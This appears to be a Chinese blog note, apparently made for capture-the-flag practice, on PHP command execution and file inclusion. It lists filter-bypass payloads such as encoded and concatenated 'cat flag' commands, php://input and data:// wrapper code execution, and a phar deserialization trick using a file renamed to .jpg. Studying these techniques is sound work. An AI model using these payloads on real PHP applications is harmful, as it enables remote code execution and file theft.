一些整理的命令执行和文件包含的知识点,可能有些不完善,或者遗漏,甚至是错误
出现上述情况,麻烦您可以在评论中指出来,这是对我最大的帮助

命令执行

[!NOTE]
一些常用的命令执行函数:
system(), passthru(), shell_exec(), exec(), ` (反引号), popen()
一些常见的绕过方法:

  • 1字符串拼接 : ?c=$a='fl'; $b='ag'; passthru("cat ".$a.$b);
  • 2编码 : ?c=passthru(base64_decode("Y2F0IGZsYWc=")); (cat flag)
  • 3其他编码: 既然base64编码可以绕过,那其他编码应该也有可行的,就不列举了
  • 4利用 $_GET 传递: ?c=passthru($_GET[1]);&1=cat flag.php
  • 5通配符 * ?c=passthru('cat f*');
  • 6Shell 字符串拼接: ?c=passthru('cat fl""ag.txt');

文件包含

[!NOTE]
php://filter

        原理:编码/解码本地文件
        功能:读取文件
        过滤器:convert.base64-encode: 将数据编码为 Base64
               convert.base64-decode: 将数据从 Base64 解码
               string.rot13: 对数据进行 rot13

data://

        原理:读取 URL 中的内联数据
        功能:RCE (远程代码执行)
        形式 :  A.明文形式  data://text/plain,<数据>
               B.Base64形式  data://[MIME类型];base64,<Base64编码的数据>

php://input

         原理: 读取http请求的原始包体
         功能: RCE(远程代码执行)
         特点: 可传较大的payload,需要发送POST请求
         使用方式: url/?file=php://input
                 然后在POST请求中写入想要执行的代码,如<?php system('cat /flag.php');?>

phar://

         原理:解析 Manifest 部分时,PHP会自动对其进行反序列化
         功能:PHP归档,
         特点:1. 隐蔽性强:文件后缀可以是 jpg/png 等,只要内容含 Stub (__HALT_COMPILER) 
              2. 触发点多:不依赖 unserialize
         方式:A. 生成含恶意对象的 Phar 文件 (可改名为 .jpg)
              B. 触发 payload:函数('phar://路径/文件.jpg')